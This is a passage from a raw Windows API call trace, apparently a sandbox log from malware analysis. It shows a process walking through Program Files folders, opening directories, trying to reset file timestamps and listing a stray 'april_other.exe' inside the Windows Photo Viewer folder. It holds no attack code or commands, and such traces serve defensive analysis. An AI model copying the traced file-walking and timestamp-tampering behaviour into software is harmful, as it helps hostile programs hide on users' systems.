ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa260c65, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa260c65, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll.mui", cAlternateFileName="")) returned 0 [0250.092] GetLastError () returned 0x12 [0250.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1657a08) returned 1 [0250.092] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16908a0) returned 1 [0250.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46672035, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x46672035, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x449faf50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d933d2, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d933d2, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e10ff3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a73731, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72a73731, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e8340d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x136bf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceArray.txt", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8340d, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x6e8340d, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x6f1b985, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef486, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceDaYi.txt", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ae5b48, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ae5b48, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x72ada55, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x196b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedQuanPin.txt", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b57f5f, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72b57f5f, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x736c12b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x160e36, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedShuangPin.txt", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72ba4219, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72ba4219, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b9fb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceSimplifiedZhengMa.txt", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 1 [0250.092] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d6d275, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d6d275, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x742a801, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xafa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextServiceYi.txt", cAlternateFileName="")) returned 0 [0250.092] GetLastError () returned 0x12 [0250.092] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x16578f8) returned 1 [0250.092] FindClose (in: hFindFile=0x4fd6a0 | out: hFindFile=0x4fd6a0) returned 1 [0250.093] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0250.093] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.093] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="")) returned 0 [0250.093] GetLastError () returned 0x12 [0250.093] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ae9d8) returned 1 [0250.093] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.093] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aea60) returned 1 [0250.093] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0250.093] FindNextFileW (in: hFindFile=0x4fd460, lpFindFileData=0x15ff77c | out: lpFindFileData=0x15ff77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f914cd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f914cd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="")) returned 1 [0250.093] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0250.093] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer"), fInfoLevelId=0x0, lpFileInformation=0x15ff678 | out: lpFileInformation=0x15ff678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f914cd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f914cd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0250.093] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer" (normalized: "c:\\program files\\windows photo viewer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.093] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff6bc, lpLastWriteTime=0x15ff6bc) returned 0 [0250.093] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9eadf0 [0250.093] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff714, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff714, lpOverlapped=0x0) returned 0 [0250.094] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.094] NtClose (Handle=0x1b8) returned 0x0 [0250.094] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4aee18) returned 1 [0250.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aee18 [0250.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4aea60 [0250.094] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4ae9d8 [0250.094] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd5e0 [0250.152] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f914cd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f914cd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.152] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512d5db0, ftCreationTime.dwHighDateTime=0x1d574c3, ftLastAccessTime.dwLowDateTime=0x5150baf0, ftLastAccessTime.dwHighDateTime=0x1d5ba21, ftLastWriteTime.dwLowDateTime=0x5150baf0, ftLastWriteTime.dwHighDateTime=0x1d5ba21, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="april_other.exe", cAlternateFileName="")) returned 1 [0250.152] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.152] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0250.152] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1054327, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1054327, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1184e2a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x25e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingEngine.dll", cAlternateFileName="")) returned 1 [0250.152] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb102e1c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb102e1c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1054327, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll", cAlternateFileName="")) returned 1 [0250.153] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b623846, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8b623846, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x43a82ff0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoBase.dll", cAlternateFileName="")) returned 1 [0250.153] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 1 [0250.153] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb121d3ab, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb121d3ab, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb13c02ce, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1a5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll", cAlternateFileName="")) returned 0 [0250.153] GetLastError () returned 0x12 [0250.153] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff4c4) returned 0x4fd6a0 [0250.153] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.153] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f914cd0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f914cd0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.153] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x512d5db0, ftCreationTime.dwHighDateTime=0x1d574c3, ftLastAccessTime.dwLowDateTime=0x5150baf0, ftLastAccessTime.dwHighDateTime=0x1d5ba21, ftLastWriteTime.dwLowDateTime=0x5150baf0, ftLastWriteTime.dwHighDateTime=0x1d5ba21, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="april_other.exe", cAlternateFileName="")) returned 1 [0250.153] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.153] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US" (normalized: "c:\\program files\\windows photo viewer\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0250.153] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff404, lpLastWriteTime=0x15ff404) returned 0 [0250.154] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9eadf0, nOutBufferSize=0x4000, lpBytesReturned=0x15ff45c, lpOverlapped=0x0 | out: lpOutBuffer=0x9eadf0, lpBytesReturned=0x15ff45c, lpOverlapped=0x0) returned 0 [0250.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9eadf0) returned 1 [0250.154] NtClose (Handle=0x1b8) returned 0x0 [0250.154] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.154] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5e0 [0250.154] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0250.154] GetLastError () returned 0x12 [0250.154] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15ff20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15ff20c) returned 0x4fd5a0 [0250.154] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22cc0dd2, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe.mui", cAlternateFileName="")) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoAcq.dll.mui", cAlternateFileName="")) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 1 [0250.154] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PhotoViewer.dll.mui", cAlternateFileName="")) returned 0 [0250.155] GetLastError () returned 0x12 [0250.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1656908) returned 1 [0250.155] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0250.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0250.155] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x1655098) returned 1 [0250.155] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: lpFindFileData=0x15ff4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ea0f40f, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0x8ea0f40f, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x85cc42cd, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x16f18, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0250.155] FindNextFileW (in: hFindFile=0x4fd6a0, lpFindFileData=0x15ff4c4 | out: 